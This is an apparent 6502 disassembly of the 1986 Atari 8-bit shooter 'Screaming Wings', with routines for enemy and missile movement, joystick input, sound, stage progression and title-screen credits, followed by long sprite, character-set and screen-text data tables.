L_6A50 inc $06AE
lda $06AE
cmp #$20
bcs L_6A60
jsr L_69F7
jmp L_69DB
L_6A60 lda #$01
sta $0637
L_6A65 lda #$00
sta $0625
sta ENEMY_X+2
sta $06AE
inc ENEMY_X+7
lda #$00
ldy ENEMY_Y
jmp L_698D
.byte $00, $00, $00, $00, $00
L_6A80 lda ENEMY_X+6
bne L_6A86
rts
L_6A86 lda #$0F
sta AUDC4
ldx ENEMY_MOV_TYPE+7
ldy #$00
inc ENEMY_X+1
lda ENEMY_X+1
sta AUDF4
cmp #$06
bcs L_6AB0
L_6A9D lda L_3F32+2,y
sta L_33FE+2,x
lda L_3F3A+7,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_6A9D
rts
L_6AB0 cmp #$18
bcs L_6AC7
L_6AB4 lda L_3F4A+4,y
sta L_33FE+2,x
lda L_3F5A+1,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_6AB4
rts
L_6AC7 cmp #$20
bcs L_6ACE
jmp L_6A9D
L_6ACE lda #$00
L_6AD0 sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_6AD0
lda #$00
sta ENEMY_X+6
sta AUDC4
sta $062F
jsr L_67B8
jsr L_67CF
rts
.byte $8D, $00, $00, $00, $00, $00, $00
ldx $06BF
cpx #$00
bne L_6B0D
lda #$EF
L_6AFE sta L_ADB8+4
asl TRAMSZ,x
bne L_6B34
lda #$28
sta ENEMY_Y
sta $0625
L_6B0D lda $0683
sta HPOSP2
sta HPOSP3
sta ENEMY_X
lda #$34
sta PCOLR3
lda #$0F
sta PCOLR2
lda #$00
sta BIGPLANE_FIRE_TYPE
sta ENEMY_MOV_TYPE+1
lda #$0E
sta L_542E+1
inc ENEMY_MOV_TYPE
rts
L_6B34 inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$04
bcc L_6B53
lda #$00
sta ENEMY_MOV_TYPE+1
lda BIGPLANE_FIRE_TYPE
bne L_6B4E
inc BIGPLANE_FIRE_TYPE
jmp L_6B53
L_6B4E lda #$00
sta BIGPLANE_FIRE_TYPE
L_6B53 lda $0634
beq L_6B59
rts
L_6B59 inc ENEMY_Y
lda $0625
beq L_6B64
inc ENEMY_Y
L_6B64 jmp L_1D30
.byte $00, $B8, $67
jsr L_67B8
jsr L_67CF
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00
L_6B80 lda $06A8
bne L_6B86
rts
L_6B86 ldx ENEMY_Y+1
ldy #$00
lda #$0F
sta AUDC4
inc ENEMY_X+3
lda ENEMY_X+3
sta AUDF4
cmp #$18
bcs L_6BB0
L_6B9D lda L_3F4A+4,y
sta L_33FE+2,x
lda L_3F5A+1,y
sta L_3500,x
inx
iny
cpy #$0D
bne L_6B9D
rts
L_6BB0 lda #$00
L_6BB2 sta L_33FE+2,x
sta L_3500,x
inx
iny
cpy #$0D
bne L_6BB2
lda #$00
sta $06A8
sta AUDC4
sta $062F
jsr L_67B8
jsr L_67CF
rts
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_6C00 lda #$00
sta $0678
sta AUDC3
sta AUDC4
L_6C0B lda #$00
sta CH
inc $06AD
L_6C13 ldx #$00
L_6C15 lda L_6C61,x
sta L_9F7D+4,x
inx
cpx #$05
bne L_6C15
jsr L_6C52
ldx #$00
L_6C25 lda L_6C61+5,x
sta L_9F7D+4,x
inx
cpx #$05
bne L_6C25
jsr L_6C52
lda $0678
bne L_6C42
lda CH
cmp #$0A
beq L_6C0B
inc $0678
L_6C42 lda CH
cmp #$0A
bne L_6C13
lda #$00
sta $06AD
sta CH
rts
L_6C52 txa
pha
ldx #$00
ldy #$00
L_6C58 inx
bne L_6C58
iny
bne L_6C58
pla
tax
rts
L_6C61 .byte $30, $21, $35, $33, $25, $28, $29, $27
.byte $28, $00, $00, $13, $AD, $3C, $06, $C9
.byte $07, $90, $06, $EE, $3F, $06, $4C, $92
L_6C79 .byte $6C, $EE, $3C, $06, $4C, $92, $6C, $EE
.byte $13, $06, $A9, $00, $8D, $14, $06, $60
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00
L_6CA0 lda #$00
sta VSCROL
sta $0680
sta $062F
sta $06AB
sta $06AD
sta $0634
sta $0650
sta $0651
sta $0652
sta $0637
sta $0657
sta $0663
sta STAGE_NO+1
sta $06BB
sta $06BF
sta $06CC
lda #$11
sta STAGE_NO+2
jsr L_6C79+7
lda #$FF
sta CH
ldx #$00
lda #$01
L_6CE3 sta L_9F75+7,x
inx
cpx #$03
bne L_6CE3
dex
stx $062A
L_6CEF rts
brk
adc L_619B+2
stx FR2+2,y
cpx #$07
bcc L_6CEF
lda $0641
bne L_6D11+1
L_6CFF lda L_901D+3
lsr MVLNG,x
brk
lda #$07
L_6D07 sta L_3004+3,x
inx
cpx #$12
bne L_6D07
ldx #$00
L_6D11 lda L_6D2E,x
sta L_347D+1,x
jsr L_4300
inx
cpx #$05
bne L_6D11
lda $069A
sta L_3483+1
lda $069B
sta L_3483+2
jmp L_560E
L_6D2E .byte $33, $34, $21, $27, $25, $00, $3E, $06
.byte $D0, $F5, $BD, $44, $6D
sta L_975D+4,x
inx
L_6D3F cpx #$AD
jsr P2PF
and (LELNUM),y
bit TRAMSZ
bne L_6D52
lda $0625
bne L_6D5A
jmp L_6DC5
L_6D52 lda ENEMY_MOV_TYPE+7
ldx BIGPLANE_FIRE_TYPE+1
bne L_6D60
L_6D5A lda ENEMY_Y
ldx ENEMY_X
L_6D60 clc
adc #$0D
sta $061E
txa
clc
adc #$03
sta HPOSM0
sta $0622
sta $0620
jmp L_6DC5
ldy $061E
ldx #$00
L_6D7B lda MISSILE_GFX,y
and #$FE
sta MISSILE_GFX,y
iny
inx
cpx #$03
bne L_6D7B
inc $061E
inc $061E
lda $061E
cmp #$B0
bcc L_6D9D
lda #$00
sta $0620
beq L_6DC5
L_6D9D jsr L_6E1E
inc $0626
lda $0626
cmp #$06
bcc L_6DC5
lda #$00
sta $0626
lda PLANE_X
cmp $0622
bcs L_6DBC
dec $0622
bne L_6DBF
L_6DBC inc $0622
L_6DBF lda $0622
sta HPOSM0
L_6DC5 lda $0621
bne L_6DF4
lda $0625
bne L_6DD5
lda $0627
bne L_6DDD
rts
L_6DD5 lda ENEMY_Y
ldx ENEMY_X
bne L_6DE3
L_6DDD lda ENEMY_Y+1
ldx ENEMY_X+1
L_6DE3 clc
adc #$0D
sta $061F
inx
stx HPOSM1
stx $0623
stx $0621
rts
L_6DF4 ldy $061F
ldx #$00
L_6DF9 lda MISSILE_GFX,y
and #$FB
sta MISSILE_GFX,y
iny
inx
cpx #$03
bne L_6DF9
inc $061F
inc $061F
lda $061F
cmp #$B0
bcc L_6E1A
lda #$00
sta $0621
rts
L_6E1A jsr L_6E30
rts
L_6E1E tax
ldy #$00
L_6E21 lda MISSILE_GFX,x
ora #$01
sta MISSILE_GFX,x
inx
iny
cpy #$03
bne L_6E21
rts
L_6E30 tax
ldy #$00
L_6E33 lda MISSILE_GFX,x
ora #$04
sta MISSILE_GFX,x
inx
iny
cpy #$03
bne L_6E33
rts
brk
lda $0620
cmp #$02
bcs L_6E4B
rts
L_6E4B lda $0643
bne L_6E68+1
L_6E50 lda STAGE_NO+1
cmp #$01
bne L_6E66
sta STAGE_NO+6
sta STAGE_NO+7
lda #$B0
sta $06BA
inc STAGE_NO+1
rts
L_6E66 cmp #$02
L_6E68 bne L_6E78
dec $06BA
lda $06BA
cmp #$81
bcs L_6EC2
inc STAGE_NO+1
rts
L_6E78 cmp #$03
bne L_6E9A
inc STAGE_NO+6
lda STAGE_NO+6
beq L_6E87
jmp L_6EC2
L_6E87 inc STAGE_NO+7
lda STAGE_NO+7
cmp #$05
bcc L_6EC2
lda #$00
sta STAGE_NO+7
inc STAGE_NO+1
rts
L_6E9A inc $06BA
lda $06BA
cmp #$B0
bcc L_6EC2
lda #$11
sta STAGE_NO+2
lda #$00
sta STAGE_NO+1
sta STAGE_NO+4
ldy $06BA
tax
L_6EB5 sta L_33FE+2,y
sta L_3500,y
iny
inx
cpx #$0E
bne L_6EB5
rts
L_6EC2 ldy $06BA
ldx #$00
lda $060E
bne L_6EF7
lda $060D
bne L_6EE4
L_6ED1 lda L_419B+5,x
sta L_33FE+2,y
lda L_41AB+3,x
sta L_3500,y
iny
inx
cpx #$0E
bne L_6ED1
rts
L_6EE4 lda L_419B+5,x
sta L_33FE+2,y
lda L_41BB+2,x
sta L_3500,y
iny
inx
cpx #$0E
bne L_6EE4
rts
L_6EF7 cmp #$01
bne L_6F26
lda $060D
bne L_6F13
L_6F00 lda L_6F51,x
sta L_33FE+2,y
lda L_6F59+6,x
sta L_3500,y
iny
inx
cpx #$0E
bne L_6F00
rts
L_6F13 lda L_6F51,x
sta L_33FE+2,y
lda L_6F69+4,x
sta L_3500,y
iny
inx
cpx #$0E
bne L_6F13
rts
L_6F26 lda $060D
bne L_6F3E
L_6F2B lda L_41CB+1,x
sta L_33FE+2,y
lda L_41DB,x
sta L_3500,y
iny
inx
cpx #$0E
bne L_6F2B
rts
L_6F3E lda L_41CB+1,x
sta L_33FE+2,y
lda L_41E3+7,x
sta L_3500,y
iny
inx
cpx #$0E
bne L_6F3E
rts
L_6F51 .byte $00, $00, $00, $10, $7C, $D6, $BA, $7C
L_6F59 .byte $10, $10, $28, $54, $38, $00, $00, $38
.byte $00, $00, $00, $28, $44, $00, $00, $00
L_6F69 .byte $10, $28, $00, $00, $00, $10, $00, $00
.byte $00, $28, $44, $00, $00, $00, $10, $28
.byte $00, $00, $00, $00, $28, $44, $00, $00
.byte $00, $10, $28, $00, $00, $00, $E8, $E0
L_6F89 .byte $08, $D0, $F5, $60, $0A, $05, $05, $08
L_6F91 .byte $2A, $30, $51, $79, $3E, $08, $08, $08
L_6F99 .byte $14, $36, $1C, $00, $41, $00, $0E, $2E
.byte $06, $00, $00, $00, $00, $08, $08, $00
L_6FA9 .byte $00, $3E, $08, $2A, $16, $15, $4F, $3E
L_6FB1 .byte $08, $08, $08, $14, $36, $1C, $44, $00
.byte $68, $EA, $20, $00, $00, $00, $00, $08
L_6FC1 .byte $08, $00, $00, $08, $08, $36, $55, $3E
.byte $08, $08, $08, $1C, $00, $00, $00, $00
L_6FD1 .byte $00, $08, $14, $36, $1C, $08, $08, $1C
L_6FD9 .byte $00, $00, $00, $00, $00, $00, $00, $08
.byte $14, $08, $08, $08, $00, $00, $00, $00
.byte $00, $00, $00, $14, $48, $12, $48, $00
.byte $12, $24, $10, $00, $00, $00, $00, $D0
.byte $F5, $60, $C9, $78, $D0, $0E, $A2, $00
.byte $00, $00, $00, $00, $00, $00, $00, $FF
.byte $7F, $39, $38, $38, $38, $39, $3F, $C0
.byte $E0, $F0, $F0, $F0, $F0, $F0, $E0, $00
.byte $00, $00, $00, $00, $00, $1E, $3F, $3F
.byte $3B, $39, $38, $38, $38, $7C, $FE, $C0
.byte $C0, $E0, $F0, $78, $7E, $7E, $3C, $67
.byte $E3, $FE, $FC, $E0, $73, $3F, $1E, $00
.byte $03, $01, $01, $01, $01, $1D, $3F, $E0
.byte $C0, $C0, $C0, $C0, $C0, $C0, $C0, $79
.byte $70, $70, $70, $70, $39, $3F, $1E, $C0
.byte $C0, $C0, $C0, $C0, $C0, $E0, $F0, $00
.byte $00, $00, $00, $00, $00, $1F, $7F, $00
.byte $00, $01, $03, $03, $07, $0F, $83, $00
.byte $00, $C0, $C0, $C0, $F0, $E0, $C0, $61
.byte $0F, $3F, $7D, $71, $71, $3F, $1E, $C3
.byte $C3, $C3, $C3, $C3, $C1, $F0, $E0, $C0
.byte $C0, $C0, $C0, $E0, $F0, $FE, $3C, $3E
.byte $7E, $E6, $C2, $C0, $C0, $7C, $3E, $00
.byte $00, $00, $00, $1E, $3F, $73, $E1, $07
.byte $0F, $1C, $1C, $7F, $1C, $9C, $DC, $0E
.byte $06, $86, $CE, $FC, $F8, $00, $00, $E1
.byte $E1, $E1, $73, $3F, $1E, $00, $00, $DC
.byte $DC, $DC, $9C, $1C, $3E, $00, $00, $C0
.byte $E0, $6E, $1F, $3F, $0E, $0E, $0E, $00
.byte $00, $00, $80, $00, $3D, $1C, $1C, $00
.byte $00, $00, $00, $00, $F7, $E6, $E6, $0E
.byte $0E, $0E, $0F, $07, $03, $00, $00, $0E
.byte $0E, $0E, $0E, $E7, $C7, $00, $00, $66
.byte $66, $66, $6C, $9C, $98, $00, $00, $00
.byte $00, $00, $00, $00, $7C, $FF, $C7, $00
.byte $00, $00, $00, $00, $1B, $3F, $0E, $00
.byte $00, $00, $00, $00, $E0, $F1, $3B, $0F
.byte $37, $67, $C7, $C7, $7B, $00, $00, $0E
.byte $0E, $0E, $0E, $CE, $9F, $00, $00, $03
.byte $03, $03, $03, $01, $00, $00, $00, $00
.byte $00, $00, $00, $00, $F8, $FC, $0C, $FC
.byte $78, $00, $0C, $FC, $F8, $00, $00, $01
.byte $00, $00, $00, $00, $00, $00, $00, $FC
.byte $F8, $70, $70, $70, $70, $70, $70, $00
.byte $06, $0F, $1F, $0E, $0E, $0E, $0E, $05
.byte $05, $05, $05, $05, $01, $00, $00, $70
.byte $70, $70, $71, $FF, $FF, $00, $00, $0E
.byte $0E, $EF, $E7, $E7, $E3, $00, $00, $00
.byte $00, $80, $00, $00, $01, $03, $07, $03
.byte $0F, $03, $03, $7B, $FF, $8F, $07, $C0
.byte $00, $00, $00, $00, $00, $00, $00, $07
.byte $07, $07, $87, $E3, $C1, $00, $00, $07
.byte $07, $07, $07, $CF, $FB, $00, $00, $00
.byte $00, $00, $00, $C0, $80, $00, $00, $FB
.byte $22, $22, $22, $22, $00, $00, $00, $60
.byte $A0, $A0, $20, $20, $00, $00, $00, $03
.byte $07, $03, $01, $0F, $1F, $F0, $7F, $E0
.byte $F0, $E0, $C1, $FF, $FF, $00, $FF, $00
.byte $00, $E0, $F0, $FF, $FF, $00, $FF, $3F
.byte $3F, $1F, $0F, $3F, $2C, $FC, $FF, $FF
.byte $87, $78, $8D, $F0, $FD, $78, $FF, $FF
.byte $0E, $F1, $FB, $00, $FB, $F1, $FF, $00
.byte $00, $18, $3D, $FF, $FF, $00, $FF, $00
.byte $7F, $7F, $F1, $F1, $F1, $71, $7F, $00
.byte $85, $17, $7F, $7F, $7F, $60, $7F, $FF
.byte $1F, $E7, $F3, $30, $F0, $E0, $FF, $7F
.byte $BF, $C1, $FF, $FC, $D8, $70, $FF, $7F
.byte $7F, $60, $3F, $1F, $1B, $0E, $FF, $00
.byte $99, $66, $FF, $FF, $FF, $00, $FF, $00
.byte $10, $A8, $FC, $FC, $FF, $01, $FC, $00
.byte $01, $03, $07, $06, $C6, $C6, $46, $FF
.byte $FF, $00, $FF, $7D, $6D, $38, $FF, $FF
.byte $FF, $00, $FF, $F7, $B6, $E3, $FF, $46
.byte $46, $57, $FF, $D1, $C1, $80, $FF, $00
.byte $FF, $55, $FF, $1F, $18, $18, $18, $00
.byte $FF, $55, $FF, $FF, $18, $18, $18, $00
.byte $FF, $55, $FF, $FF, $18, $18, $18, $1F
.byte $1F, $1F, $FF, $F7, $B6, $E3, $FF, $FF
.byte $FF, $F3, $FC, $C7, $C0, $80, $FF, $FF
.byte $FF, $FF, $00, $FF, $00, $00, $FF, $00
.byte $FF, $55, $FF, $FF, $18, $18, $18, $FF
.byte $FF, $FF, $00, $FF, $00, $00, $FF, $00
.byte $FF, $AA, $FF, $FF, $18, $18, $18, $00
.byte $FF, $AA, $FF, $FF, $1F, $1F, $1F, $00
.byte $C0, $A0, $F0, $16, $16, $16, $16, $FF
.byte $FF, $CF, $3F, $E3, $03, $01, $FF, $FF
.byte $FF, $FF, $FF, $EF, $6D, $C7, $FF, $16
.byte $10, $FA, $FF, $82, $80, $00, $FF, $00
.byte $3F, $55, $FF, $8F, $8C, $8C, $8C, $00
.byte $FF, $55, $FF, $FF, $18, $18, $18, $00
.byte $FF, $55, $FF, $FF, $18, $18, $18, $8F
.byte $8F, $8F, $FF, $7D, $6D, $38, $FF, $FF
.byte $FF, $F3, $FC, $F7, $B0, $E0, $FF, $FF
.byte $FF, $FF, $00, $FF, $00, $00, $FF, $00
.byte $00, $00, $00, $00, $00, $00, $FF, $00
.byte $00, $00, $00, $00, $00, $00, $01, $00
.byte $00, $00, $00, $15, $AA, $90, $40, $00
.byte $00, $00, $A4, $52, $20, $94, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $1F, $1F, $0F, $0F, $1F
.byte $3F, $3F, $3F, $FF, $E1, $ED, $E1, $EB
.byte $ED, $FF, $FF, $FC, $F8, $F0, $E0, $E0
.byte $E0, $C0, $80, $1F, $0F, $0F, $B7, $D7
.byte $0D, $11, $25, $BF, $5E, $5E, $6C, $4E
.byte $0D, $07, $02, $00, $00, $00, $00, $00
.byte $00, $40, $A0, $5A, $74, $01, $0A, $20
.byte $00, $00, $00, $21, $81, $00, $0A, $10
.byte $00, $00, $00, $50, $50, $00, $00, $00
.byte $00, $00, $00, $00, $00, $01, $00, $01
.byte $02, $05, $05, $00, $80, $A4, $75, $7A
.byte $80, $00, $00, $04, $02, $00, $00, $00
.byte $00, $00, $00, $A0, $D0, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_73F9 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $01, $02, $03, $07
.byte $08, $01, $02, $0B, $0C, $0D, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $04, $05, $06, $09, $0A, $04, $05, $0E
.byte $0F, $10, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $11, $12, $13, $17, $18, $19, $1D
.byte $1E, $1F, $23, $5F, $60, $61, $25, $26
.byte $27, $2B, $2C, $2D, $31, $32, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $14, $15, $16, $1A, $1B, $1C, $20
.byte $21, $22, $24, $62, $63, $64, $00, $29
.byte $2A, $2E, $2F, $30, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_74F9 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $30, $00, $32, $00, $25
.byte $00, $33, $00, $25, $00, $2E, $00, $34
.byte $00, $33, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $02, $33, $23, $32, $25, $21, $2D
.byte $29, $2E, $27, $00, $37, $29, $2E, $27
.byte $33, $02, $00, $00, $00, $00, $00, $00
L_75A9 .byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $08, $23, $09
.byte $32, $25, $24, $00, $32, $21, $34, $00
.byte $33, $2F, $26, $34, $37, $21, $32, $25
L_75F9 .byte $00, $2C, $34, $24, $08, $11, $19, $18
.byte $16, $09, $00, $00, $00, $00, $00, $00
.byte $00, $51, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $45, $00, $00
.byte $00, $34, $28, $25, $2D, $25, $00, $00
.byte $2D, $35, $33, $29, $23, $00, $00, $2F
L_7641 .byte $2E, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
L_7659 .byte $00, $00, $0E, $0E, $0E, $0E, $0E, $00
.byte $28, $21, $33, $00, $34, $2F, $24, $21
.byte $39, $33, $00, $34, $2F, $30, $00, $33
L_7671 .byte $23, $2F, $32, $25, $1A, $10, $10, $10
.byte $10, $10, $10, $10, $00, $00, $00, $00
.byte $00, $5A, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $52, $52, $52
.byte $52, $52, $52, $52, $52, $43, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $30, $32, $2F, $27, $32, $21, $2D
.byte $00, $22, $39, $00, $30, $21, $35, $2C
.byte $00, $23, $32, $21, $36, $25, $2E, $00
.byte $00, $00, $12, $10, $12, $10, $00, $36
.byte $25, $32, $33, $29, $2F, $2E, $00, $00
L_76F9 .byte $00, $2D, $35, $33, $29, $23, $00, $22
.byte $39, $00, $24, $21, $36, $25, $00, $26
.byte $2F, $32, $37, $21, $32, $24, $00, $00
.byte $00, $26, $32, $21, $2E, $23, $2F, $00
.byte $23, $21, $34, $32, $29, $2E, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00
lda LOADFLG
bne L_77C8
lda WARMST
bne L_780D
L_77C8 ldx #$FF
txs
cld
ldx L_02E2+5
ldy L_02E2+6
stx LOMEM
sty LOMEM+1
lda #$00
sta MEOLFLG
sta LOADFLG
iny
txa
ldx #$82
L_77E0 sta LNFLG,x
inx
sty LNFLG,x
inx
cpx #$92
bcc L_77E0
ldx #$86
ldy #$01
jsr L_A878+2
ldx #$8C
ldy #$03
jsr L_A878+2
lda #$00
tay
sta (VNTD),y
sta (STMCUR),y
iny
L_7800 lda #$00
sta SDMCTL
sta $060E
lda #$FF
sta PCOLR0
L_780D jsr L_7954
ldx #$00
txa
L_7813 sta L_9E6D+3,x
sta L_9EAD+3,x
inx
bne L_7813
L_781C sta HPOSP0,x
inx
cpx #$08
bne L_781C
lda #$70
sta SAVMSC
lda #$9E
sta SAVMSC+1
sta COLOR0
sta SDLSTH
lda #$58
sta SDLSTL
ldx #$00
L_7839 lda L_7985,x
sta L_9E55+3,x
inx
cpx #$18
bne L_7839
ldx #$04
ldy #$21
L_7848 lda #$00
sta ENEMY_MOV_TYPE+1
L_784D tya
sta L_9E6D+3,x
inx
inx
iny
cpy #$3B
beq L_786A
inc ENEMY_MOV_TYPE+1
lda ENEMY_MOV_TYPE+1
cmp #$06
bne L_784D
txa
clc
adc #$1C
tax
jmp L_7848
L_786A lda #$0A
sta L_9E6D+3,x
ldy #$00
lda #$0E
L_7873 inx
inx
sta L_9E6D+3,x
iny
cpy #$03
bne L_7873
ldx #$00
L_787F lda $0600,x
sta L_9F5D+6,x
inx
cpx #$06
bne L_787F
ldx #$00
L_788C lda L_797D,x
sta L_9F65+4,x
inx
cpx #$08
bne L_788C
lda #$3A
sta SDMCTL
lda #$50
sta HPOSP0
sta PLANE_X
ldy #$1C
sty ENEMY_MOV_TYPE+3
jsr L_795E
L_78AC lda $060E
cmp #$05
bmi L_78C6
ldx #$00
L_78B5 lda L_9F65+7,x
sta $065E,x
inx
cpx #$05
bne L_78B5
L_78C0 lda STRIG0
beq L_78C0
rts
L_78C6 lda STICK0
cmp #$07
beq L_7903
cmp #$0B
beq L_78E7
cmp #$0E
beq L_791C
cmp #$0D
beq L_7938
lda STRIG0
bne L_78AC
jsr L_5B00
jsr L_796F
jmp L_78AC
L_78E7 lda PLANE_X
cmp #$60
bcs L_78F1
jmp L_78AC
L_78F1 lda PLANE_X
sec
sbc #$10
sta PLANE_X
sta HPOSP0
jsr L_796F
jmp L_78AC
L_7903 lda PLANE_X
cmp #$9F
bcc L_790D
jmp L_78AC
L_790D clc
adc #$10
sta PLANE_X
sta HPOSP0
jsr L_796F
jmp L_78AC
L_791C lda ENEMY_MOV_TYPE+3
cmp #$20
bcs L_7926
jmp L_78AC
L_7926 jsr L_7954
lda ENEMY_MOV_TYPE+3
sec
sbc #$20
sta ENEMY_MOV_TYPE+3
jsr L_795E
jmp L_78AC
L_7938 lda ENEMY_MOV_TYPE+3
cmp #$9C
bcc L_7942
jmp L_78AC
L_7942 jsr L_7954
lda ENEMY_MOV_TYPE+3
clc
adc #$20
sta ENEMY_MOV_TYPE+3
jsr L_795E
jmp L_78AC
L_7954 ldx #$00
txa
L_7957 sta L_33FE+2,x
inx
bne L_7957
rts
L_795E ldx #$00
ldy ENEMY_MOV_TYPE+3
L_7963 lda L_7995+7,x
sta L_33FE+2,y
iny
inx
cpx #$19
bne L_7963
L_796F jsr L_561C
ldy #$00
ldx #$00
L_7976 inx
bne L_7976
iny
bne L_7976
rts
L_797D .byte $10, $0E, $0E, $0A, $0A, $0A, $0A, $0A
L_7985 .byte $70, $70, $70, $47, $70, $9E, $07, $07
.byte $07, $07, $07, $07, $07, $07, $07, $06
L_7995 .byte $06, $06, $06, $06, $41, $58, $9E, $18
.byte $18, $7E, $3C, $18, $00, $00, $00, $00
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $00, $18, $3C, $7E, $18, $18
.byte $00, $00, $00, $00, $00, $00, $00, $00
.byte $00, $00, $39, $39, $3A, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $22, $0C
.byte $0C, $0C, $01, $0F, $10, $01, $0C, $3B
.byte $3C, $24, $2B, $3A, $39, $39, $3A, $39
.byte $3A, $39, $3A, $39, $3A, $39, $3A, $39
.byte $39, $3A, $3A, $3A, $39, $3A, $39, $39
.byte $3A, $3A, $39, $3A, $3A, $33, $22, $3F
